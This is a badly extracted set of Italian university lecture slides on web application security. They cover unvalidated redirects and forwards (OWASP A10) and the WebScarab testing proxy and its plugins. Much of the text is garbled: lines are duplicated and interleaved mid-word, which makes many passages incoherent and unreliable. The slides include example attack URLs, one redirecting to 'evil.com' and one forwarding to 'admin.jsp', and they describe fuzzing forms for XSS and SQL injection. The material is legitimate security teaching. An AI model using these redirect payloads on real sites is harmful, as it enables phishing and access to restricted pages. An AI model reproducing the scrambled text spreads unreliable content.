 tutte le comunicazioni avvengono in chiaro!!!

A10. Unvalidated redirects and forwards
forzare la vittima ad usare un link con un redirect
non validato
 il link appartiene a un sito valido quindi la vittima si
A10.fida
Unvalidated redirects and forwards
 pagina bersaglio specificata in un parametro non
validato
 forzare la vittima ad usare un link con un redirect
 ...permette
non
validato di scegliere arbitrariamente la pagina di
destinazione
 il link appartiene a un sito valido quindi la vittima si
 facile
fidada rilevare

si controllano
redirect
 pagina
bersaglioi specificata
in un parametro non
validato
 non così semplice se si usano i forward (uso
allo di
stesso
sito) arbitrariamente la pagina di
 interno
...permette
scegliere
destinazione





l’attaccante crea un URL malevolo per installare
malware o per fare phishing

http://www.x.com/redirect.jsp?url=evil.com
A10 - scenari
forward
girare“redirect.jsp”
richieste tra diverse
partiun
del
sito con per
funzione
che riceve
sito
tramite
un
parametro
(es.
se
una
transazione
è
singolo parametro “url”
avvenuta correttamente)
 l’attaccante crea un URL malevolo per installare
 l’attaccante crea un URL per accedere a una
malware o per fare phishing
pagina alla quale non è possibile accedere
 http://www.x.com/redirect.jsp?url=evil.com
direttamente
forward
per girare richieste tra diverse parti del
 http://www.x.com/boring.jsp?fwd=admin.jsp
sito tramite un parametro (es. se una transazione è
avvenuta correttamente)
 l’attaccante crea un URL per accedere a una
pagina alla quale non è possibile accedere
direttamente

http://www.x.com/boring.jsp?fwd=admin.jsp
Test di applicazioni web: WebScarab
http://www.owasp.org/software/webscarab.html
 strumento molto potente ... ma richiede:
lle applicazioni web
(web app sec - gen'13)
 conoscenze web (HTTP, HTML, JS, CSS, XML, ...)
Test
di applicazioni
WebScarab
 conoscenze
di sicurezzaweb:
(vulnerabilità
web)
 programmabile:
 http://www.owasp.org/software/webscarab.html
 molti plugin già disponibili
 strumento molto potente ... ma richiede:
 altri possono essere scritti ad-hoc per il proprio test
lle applicazioni web
(web app sec - gen'13)
 conoscenze web (HTTP, HTML, JS, CSS, XML, ...)
 funzioniPlugin
base: per WebScarab (I)
 conoscenze di sicurezza (vulnerabilità web)
 local intercepting proxy (sia HTTP sia HTTPS) con
 programmabile:
manipolazione
di script
Request
e Response
 fragments
= estrae
e commenti
molti
plugin
 log
diintercept
tutto ilgià
dialogo
client-server
 manual
=disponibili
modifica
"al volo" dei dati
 altri possono essere scritti ad-hoc per il proprio test
 beanshell = manipolazione richieste e risposte
 tramite
funzioniPlugin
base:in Java
script
per WebScarab (I)
 local
intercepting
(siai HTTP
HTTPS)
con
 reveal
hidden
fields proxy
= rende
campisia
hidden
visibili
manipolazione
di
Request
e
Response
ed
editabili
 fragments = estrae script e commenti
dilog
diintercept
tutto
il dialogo

simulator
= client-server
rallenta
traffico
ioy - Politecnico
Torino
(2009-2013)
25
 bandwidth
manual
= modifica
"alilvolo"
deiper
dati
simulare l'effetto di una linea lenta
 beanshell = manipolazione richieste e risposte
 spider
identifica
URL contenute nella pagina
tramite=script
in Java

request
= creazione
di una visibili
 manual
reveal hidden
fields
= rende manuale
i campi hidden
richiesta
(nuova
o
replay
di
una
vecchia)
ed editabili

bandwidth
simulator = rallenta il traffico per
ioy - Politecnico
di Torino (2009-2013)
25
simulare l'effetto di una linea lenta
 spider = identifica URL contenute nella pagina
 manual request = creazione manuale di una
richiesta (nuova o replay di una vecchia)

Plugin per WebScarab (II)








sessionID analysis = analisi (semplice) dei
session-id nei cookie per vedere se sono random
scripted = sviluppo di applicazioni Java che
sfruttano gli oggetti Request e Response di
Plugin per WebScarab (II)
WebScarab
parameter fuzzer = manipolazione automatica dei
sessionID
analysis
analisi
(semplice)
parametri di
un form= per
tentare
XSS o dei
session-id
nei
cookie
per
vedere
se sono random
SQLinjection
scripted
=
sviluppo
di
applicazioni
Java cheper
search = scrittura di espressioni BeanShell
sfruttano
gli
oggetti
Request
e
Response
identificare gli scambi dati da tracciare di
WebScarab
compare = calcola il numero di variazioni tra la
parameter
= manipolazione
automatica dei
transazionefuzzer
corrente
ed una di riferimento
parametri di un form per tentare XSS o
SQLinjection





permette di manipolarli (deprecato: usare SOAPUI)
extensions = ricerca automatica di file (lasciati per
errore sul server) con estensioni a piacere (.bak
Plugin
.zip .tar.gz
~ ...) per WebScarab (III)
XSS/CRLF = analisi passiva delle risposte HTTP
SOAP
= interpreta
WSDL, ne
mostra
e
per vedere
se contengono
dati
sotto iildati
controllo
permette
di
manipolarli
(deprecato:
usare
SOAPUI)
dell'utente (per fare XSS o splitting della risposta)
extensions = ricerca automatica di file (lasciati per
errore sul server) con estensioni a piacere (.bak
.zip .tar.gz ~ ...)
XSS/CRLF = analisi passiva delle risposte HTTP
per vedere se contengono dati sotto il controllo
dell'utente (per fare XSS o splitting della risposta)
ioy - Politecnico di Torino (2009-2013)
27
ioy - Politecnico di Torino (2009-2013)
27